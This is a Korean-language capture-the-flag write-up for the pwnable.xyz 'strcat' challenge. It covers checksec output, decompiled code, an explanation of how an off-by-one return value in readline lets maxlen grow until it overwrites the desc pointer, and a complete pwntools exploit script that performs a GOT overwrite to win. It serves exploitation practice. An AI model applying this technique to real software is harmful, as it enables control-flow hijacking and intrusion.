[pwnable.xyz]strcat
Canary, PIE가 안걸려있다.
[*] '/vagrant/ctfs/challenge'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
바이너리는 3개 메뉴로 되어있다. concat, edit, print 으로 되어있다.
concat메뉴는 maxlen-strlen(name) 만큼 입력받고 maxlen에서 readline 리턴 값만큼 빼준다.
edit메뉴는 desc 힙영역에 값 수정할 수 있다.
print메뉴에서는 fsb가 터진다.
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
signed __int64 v3; // rsi
char *v4; // rdi
int v5; // eax
int v6; // ebx
unsigned int v7; // ebx
setup();
puts("My strcat");
maxlen = 128;
printf("Name: ", argv);
maxlen -= readline(name, 128);
desc = malloc(32uLL);
printf("Desc: ", 128LL);
v3 = 32LL;
v4 = desc;
readline(desc, 32);
while ( 1 )
{
print_menu(v4, v3);
printf("> ");
v5 = read_int32();
switch ( v5 )
{
case 2: // edit
printf("Desc: ");
v3 = 32LL;
v4 = desc;
readline(desc, 32);
break;
case 3: // print
printf(name);
printf(desc);
v4 = '\n';
putchar('\n');
break;
case 1: // concat
printf("Name: ");
v6 = maxlen;
v7 = v6 - strlen(name);
v3 = v7;
v4 = &name[strlen(name)];
maxlen -= readline(v4, v7);
break;
default:
v4 = "Invalid";
puts("Invalid");
break;
}
}
}
readline 함수인데 리턴을 strlen(name) - 1을 해준다.
__int64 __fastcall readline(void *a1, int a2)
{
int v2; // eax
read(0, a1, a2);
v2 = strlen(name);
*(a1 + v2 - 1) = 0;
return (v2 - 1);
}
이를 이용해서 풀 수 있다. strlen(name) -1을 해줘서 리턴하는데 만약 1번 메뉴에서 maxlen -= readline() 해주는데 strlen(name)의 길이가 0이면 readline 리턴이 -1이니까 maxlen을 계속 늘려줄 수 있다.
maxlen 0x0000000000602280 (32)
name 0x00000000006022A0 (128)
desc 0x0000000000602320
bss 영역이 이렇게 있고 maxlen이 128인데 maxlen을 늘려서 desc를 덮을 수 있다. 그리고 desc에는 힙 영역을 가르키고 있으므로 이 영역을 함수 got로 덮고 edit 메뉴에서 이 got를 win함수로 덮어주면 된다
exploit.py
from pwn import *
context.log_level = 'debug'
e = ELF('./challenge')
# p = process('./challenge')
p = remote('svc.pwnable.xyz',30013)
sla = lambda x,y : p.sendlineafter(x,y)
sa = lambda x,y : p.sendafter(x,y)
win = e.symbols['win']
maxlen = 0x0000000000602280
name = 0x00000000006022A0
desc = 0x0000000000602320
puts_got = 0x602028
sa(':','A') # Name
sa(':','B') # Desc
for i in range(20):
sa('>','1')
sa(':','\x00')
sa('>','1')
sa(':','A'*128+'\x20\x20\x60\x20') # 0000000000602020 R_X86_64_JUMP_SLOT putchar@GLIBC_2.2.5
sa('>','2')
sa(':',p64(win)) # putcahr@got -> win
# raw_input()
sa('>','3')
p.interactive()